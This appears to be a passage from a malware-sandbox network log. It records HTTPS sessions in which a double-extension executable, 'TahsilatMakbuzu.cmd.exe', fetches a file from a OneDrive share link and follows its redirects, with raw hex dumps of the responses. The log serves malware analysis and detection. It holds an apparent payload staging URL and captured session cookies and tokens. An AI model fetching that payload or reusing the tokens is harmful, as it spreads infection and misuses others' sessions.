moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49806	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:28 UTC	1283	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODQ3LCJuYmYiOjE3MjAxMTcwNDcsImdpdmVuX25hbWUiOiI5OCIsImZhbWlseV9uYW1lIjoiRG90dGVyZWwiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJlOGVjNWVkODM5MDJjYmJhNjNkZGQ2NTU1OWM1NWQ2NSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDQ3fQ.Ol9LPqug3i7fEWvJLbwtzcKWM9K-c7SopSeodx5y_bZEze4E_GWoLNnug_JdKCRIdFaPDOS3Bu7sa0NGHmxIHvxFnpie-pAvnsG9S42a7cloF4BN_UNLR0fTHp6Wx40VFgGo5R4Y79nX755KITTY-5OUzRzjTrL8KygOee21CipK6ETveTmIZrCkfJRelzOOq9wXwygHdvyph4VryyB-3GGhUn69dcwyDHGLizwJm7oSXKJhBkHlfc8Ytfpz_50XRkP1kkTXRx6w5I36FDH22DaJBuCJNwQ4JEv9UibSkkpgzuB22NBuTtIjndbISvc8HeYlsEPZdcp5ws2nQf8X-A; E=P:Sk9Xj1Wc3Ig=:qaWJmxM4RRdwfHaBXLhHc1M22IgjsLZ1gf8ZoFpQ5UM=:F; xid=3c6214a5-5705-4280-b485-6d9503 [TRUNCATED]
2024-07-04 18:17:28 UTC	1925	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205808 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,54619,0,177654,30 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 401239a1-70d8-6000-0706-6a1a12fa6034 request-id: 401239a1-70d8-6000-0706-6a1a12fa6034 MS-CV: oTkSQNhwAGAHBmoaEvpgNA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 25 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B31432A6F1664A5298160E07FBB537B5 Ref B: BN3EDGE0720 Ref C: 2024-07-04T18:17:28Z Date: Thu, 04 Jul 2024 18:17:28 GMT Connection: close
2024-07-04 18:17:28 UTC	598	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 22 63 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 75 6e 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 66 61 6c 73 65 2c 22 65 6d 61 69 6c 22 3a 22 55 6e 41 75 74 68 22 2c 22 6d 6b 74 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 6b 74 4c 6f 63 61 6c 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 22 2c 22 70 61 67 65 52 65 73 70 6f 6e 73 65 53 74 61 72 74 54 69 6d 65 22 3a 31 37 32 30 31 31 37 30 34 38 37 32 36 7d 3b 20 76 61 72 20 46 69 6c 65 73 43 6f 6e 66 69 67 3d 7b 22 68 63 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 61 70 70 49 64 22 3a 22 31 31 34 31 31 34 37 36 34 38 22 2c 22 6e 61 76 43 61 6e 61 72 79 22 3a 22 22 2c 22 63 61 6e 61 72 79 22 3a 22 22 2c 22 73 6b Data Ascii: "cid":"UnAuth","unid":"UnAuth","isAuthenticated":false,"email":"UnAuth","mkt":"en-US","mktLocale":"en-US","lang":"en","country":"","pageResponseStartTime":1720117048726}; var FilesConfig={"hcid":"UnAuth","appId":"1141147648","navCanary":"","canary":"","sk
2024-07-04 18:17:28 UTC	5787	IN	Data Raw: 38 46 43 41 2d 41 45 33 38 30 34 36 31 36 34 38 42 22 3a 74 72 75 65 2c 22 30 41 36 36 38 36 39 38 2d 41 30 34 43 2d 34 41 45 38 2d 42 38 43 33 2d 34 38 32 34 35 39 41 35 43 38 42 32 22 3a 74 72 75 65 2c 22 39 34 37 32 31 31 42 45 2d 30 35 35 30 2d 34 33 33 44 2d 42 39 32 45 2d 33 44 43 39 41 32 37 30 34 31 41 32 22 3a 74 72 75 65 2c 22 38 38 32 43 30 41 44 38 2d 35 45 45 39 2d 34 33 39 42 2d 42 43 35 31 2d 31 31 31 34 43 37 45 33 34 31 33 41 22 3a 74 72 75 65 2c 22 37 31 46 43 43 36 36 39 2d 30 42 30 30 2d 34 44 43 36 2d 41 34 37 44 2d 43 38 46 37 32 30 46 44 41 32 31 37 22 3a 74 72 75 65 2c 22 33 46 45 41 41 33 39 38 2d 36 42 45 43 2d 34 33 43 46 2d 41 30 41 42 2d 42 30 31 46 35 39 39 34 35 37 43 42 22 3a 74 72 75 65 2c 22 44 41 44 37 36 42 36 46 2d 43 Data Ascii: 8FCA-AE380461648B":true,"0A668698-A04C-4AE8-B8C3-482459A5C8B2":true,"947211BE-0550-433D-B92E-3DC9A27041A2":true,"882C0AD8-5EE9-439B-BC51-1114C7E3413A":true,"71FCC669-0B00-4DC6-A47D-C8F720FDA217":true,"3FEAA398-6BEC-43CF-A0AB-B01F599457CB":true,"DAD76B6F-C
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 2c 22 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 Data Ascii: ,"308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD267
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 45 44 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 Data Ascii: ED-D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":tru
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 34 46 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 Data Ascii: 4F13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF44
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 41 2d 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 Data Ascii: A-E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 32 39 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 Data Ascii: 2955B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-85
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 74 72 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 Data Ascii: true,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F7
2024-07-04 18:17:28 UTC	8192	IN	Data Raw: 41 38 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 Data Ascii: A8BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49807	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:29 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:17:29 UTC	594	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: SA2PPF49215A3F5 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: DOitGWV7rUyfk7uc/i6UJw.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: DED7B33CF00E47B698AE685FDF9420B8 Ref B: EWR311000101011 Ref C: 2024-07-04T18:17:29Z Date: Thu, 04 Jul 2024 18:17:28 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49808	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:30 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:17:31 UTC	2221	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:QIhokVWc3Ig=:POhhrxrWpLP7BrOy/KAqpCWvrs+n9/GQuTGY5p1k9Ko=:F; domain=.live.com; path=/ Set-Cookie: xid=f6ca8c83-8572-45f1-80f5-28611e9c5d3b&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:37:30 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODUwLCJuYmYiOjE3MjAxMTcwNTAsImdpdmVuX25hbWUiOiIzOSIsImZhbWlseV9uYW1lIjoiQ2hhbW9pcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY2NjQ2ZmJlYjk0MDEyMThiNWE3NzI1YTQzMjhiMTYzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNTB9.NmPaNti8cmr8YW6n6CpY7216i6wZb7Fs1nAzgWdcx0EAZ2yQ4eBl4WvCseTEOdJYtC3CVsESenmGOl4Pt6PjPEEkBV8JepyOw__bYESbUpTBPSAFs0x9gwWh_-Vvpuzv7myQOzSDAjHlRwk9RiNkng3DMQpWox-CQkRnvl47knTToD7G8U9t3m5ucPbFslFXAJcRtRgdq2Uf85cDxxjkygA_67yA5p50xhLtxFkLx4t0GqzOUZE-Cigb3xSXZ5CxIqo53TSxyX2MCgMLGBTRSmEE_6Rmb1CHWeTsJ04w4V-rqE-AZACk47xYNrU5Q6g7Y_1CXip_jHZYoDpQ46xvSA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:17:31 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-q5qs8 X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: BA67CB4D5F664124ADF379B522BB377D Ref B: BN3EDGE0614 Ref C: 2024-07-04T18:17:30Z Date: Thu, 04 Jul 2024 18:17:30 GMT Connection: close
2024-07-04 18:17:31 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49809	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:17:31 UTC	1281	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODUwLCJuYmYiOjE3MjAxMTcwNTAsImdpdmVuX25hbWUiOiIzOSIsImZhbWlseV9uYW1lIjoiQ2hhbW9pcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImY2NjQ2ZmJlYjk0MDEyMThiNWE3NzI1YTQzMjhiMTYzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwNTB9.NmPaNti8cmr8YW6n6CpY7216i6wZb7Fs1nAzgWdcx0EAZ2yQ4eBl4WvCseTEOdJYtC3CVsESenmGOl4Pt6PjPEEkBV8JepyOw__bYESbUpTBPSAFs0x9gwWh_-Vvpuzv7myQOzSDAjHlRwk9RiNkng3DMQpWox-CQkRnvl47knTToD7G8U9t3m5ucPbFslFXAJcRtRgdq2Uf85cDxxjkygA_67yA5p50xhLtxFkLx4t0GqzOUZE-Cigb3xSXZ5CxIqo53TSxyX2MCgMLGBTRSmEE_6Rmb1CHWeTsJ04w4V-rqE-AZACk47xYNrU5Q6g7Y_1CXip_jHZYoDpQ46xvSA; E=P:QIhokVWc3Ig=:POhhrxrWpLP7BrOy/KAqpCWvrs+n9/GQuTGY5p1k9Ko=:F; xid=f6ca8c83-8572-45f1-80f5-28611e9c [TRUNCATED]
